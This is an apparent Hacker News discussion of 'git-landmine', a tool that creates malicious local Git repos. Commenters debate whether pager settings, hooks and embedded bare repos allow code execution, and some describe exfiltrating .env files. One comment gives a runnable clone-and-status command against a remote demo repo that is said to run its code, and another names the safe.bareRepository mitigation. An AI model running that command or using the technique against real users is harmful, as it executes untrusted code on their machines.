Git-landmine – Create local malicious Git repo | Hacker News Reader

Git-landmine – Create local malicious Git repo

github.com

60 pointspabs331 comments

I'm not sure I understand how this is malicious. There is quite a bit of configuration of the client, which usually requires arbitrary execution capabilities anyways. What's the actual exploit here?

It appears to set the pager setting for the repo to `cowsay "pwned"`, which appears to be able to be duplicated via setting an environment variable `GIT_PAGER="cowsay 'pwned'"` or setting it via `git config core.pager "cowsay 'pwned'"`

I don't see any actual exploit here.

If it can set it to `cowsay ...`, it can presumably also set it to anything else. Like, a subshell that looks for and uploads interesting data (e.g. .env files) to some pastebin and then pops you the paged output you're expecting?

Sure, but you are already logged into the machine and writing arbitrary commands, it’s game over. You could write a cron or put something into bashrc. Does that mean cron or bash is exploited?

Excluding curl ... | sh, neither bash nor cron tend to run random code from the Internet on their own. A git repo, on the other hand, is almost always some random code you got from the Internet. You also don't expect using git itself to inspect a random repo to execute arbitrary code from that repo.

This example given in the link also does not execute arbitrary code from just cloning the repo, nor does any other repos you directly clone. You would be required to run commands to setup the exploit.

There is an issue around embedded bare repos in archives, however, that is not the given exploit in the linked repo at all.

You put the directory somewhere (eg. usb drive) and hope someone enters the directory and executes a git command.

To elaborate on your comment, on UNIX systems, you don't put "." in $PATH because someone might put a malicious executable named `ls` or `cd`, in a directory. It doesn't have root privileges, but it runs as your user account and can get some kind of persistence by hooking `~/.bashrc`. And perhaps by wrapping `sudo` it can eventually get root privileges.

That doesn't work if . is at the end of $PATH though? Since the real ones would take precedence due to how executable searching works...?

You never type sl on accident?

You should install https://github.com/mtoyoda/sl as a hardening measure.

Surprisingly, no... I thought I would, but somehow I've avoided this particular transpositional mistake (probably also due to my habit of setting up a ll or la macro for ls -l and ls -a).

That said, I also don't actually put "." in my path, though this is mainly so I can avoid heisenbugs rather than a security concern...

If that defence works reliably or not depends on whether you have sl installed or not.

    SL(6)                     Games Manual                    SL(6)

    NAME
           sl - display animations aimed to correct users who acci-
           dentally enter sl instead of ls.

There are quite a number of people not familiar with git who are unaware of the security risk of cloning a repo. My guess is this repo is trying to spread awareness.

I think the reason this is a script (`git-landmine`) and not just a repo is that git repos don't include this sort of configuration when you clone them, for exactly this reason.

It's inconvenient that you don't get e.g. pre-commit hooks installed when you clone a repo, but it also makes total sense from a security perspective.

It's not inconvenient -- it's great. I would never run a pre-commit hook someone else wrote. I'm not a child, I don't need my hand held. If I want to create a commit object, create one.

I don't understand folks who want their tools to fight them.

Would you ever run a kernel written by someone else?

> I'm not a child, I don't need my hand held … I don't understand folks who want their tools to fight them.

The thing about teams is that they’re made up of people with different needs, and the tooling works to benefit the entire team not just one specific opinionated individual.

Formatting and linting is frequently done in precommit hooks. This avoids a much longer feedback loop of CI failures for trivial tasks that add at most a couple of seconds to a commit (usually less).

If you don’t like it, you can simply eject out of it using the no-verify flag instead of complaining about having to fight tooling that benefits everyone else.

I already ejected out by not setting up the hooks to begin with. No problem!

The problem with hooks is that inevitably the smartass who sets them up thinks they're clever and makes the hooks so elaborate that they are borderline inaccessible outside of the hook themselves. Just put the linter in the lint build rule. I'm an adult, I can run builds and tests and lints myself. I'm fully capable of ensuring my code is of sufficient quality prior to CI.

If you're not capable of that, then certainly do what you need to. Having others help you is great as well. It's always a good to make things easy to get right out of the box.

But don't make your problem my problem.

> I don't understand folks who want their tools to fight them.

Been coding professionally for a few decades now and I completely understand and validate this. I also do not understand the drive to want tools that fight them. Our CI is so slow doing IMO unnecessary checks. Code is prettified to look ugly and hard to read because others were too lazy to align text manually and just gave up on nice looking code.

All in the name of “making it easier for the less experienced.” To which I cringe because instead of investing in education and team quality standards we invest in tools to enforce a lowest common denominator in a failed attempt to pretend it increases quality when it just gets in everyones’ way.

I’d rather educate and engender personal quality, aesthetics, and pride in their own work. And if others don’t feel that quality matters then they are not a good fit for my team.

Indeed you're correct the risk is not when cloning a repo but when copying an existing one.

What is the worse case scenario from running: sudo git clone https://bad.com/xyz && sudo cd xyz && sudo git pull

  sudo: cd: command not found
  sudo: "cd" is a shell built-in command, it cannot be run directly.
  sudo: the -s option may be used to run a privileged shell.
  sudo: the -D option may be used to run a command in a specific directory.

I think many people don't realize that the git integrated shell prompts for example are not safe to use in untrusted git repos.

Lots of editors will also query git repo information for displaying information to the user, and may do this completely automatically.

If you "git clone" the repo, git will not clone hooks from my understanding, so the primary issue is unpacking a tarball with a git repo inside of it and then trying to do something with the repo.

If your toolchain does something silly like eval some output from git, cloning and then triggering that interaction (probably cding in) could be enough.

I made a little test repo for this a while back https://github.com/abathur/LittleGaryGitles :)

git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status

it is a bit crazy this is not disabled by default yet.

That's terrifying. I'll think twice before cloning any repository from now on.

> not disabled by default yet

You're saying there's a way to "disable" this behavior?

none that i know of

Set safe.bareRepository = explicit.

Available since Git v2.38:

https://github.com/git/git/commit/8d1a7448206e11cd

That's fascinating! Time to update my Blogpost on git hooks and go down this rabbit hole !

Reply on news.ycombinator.com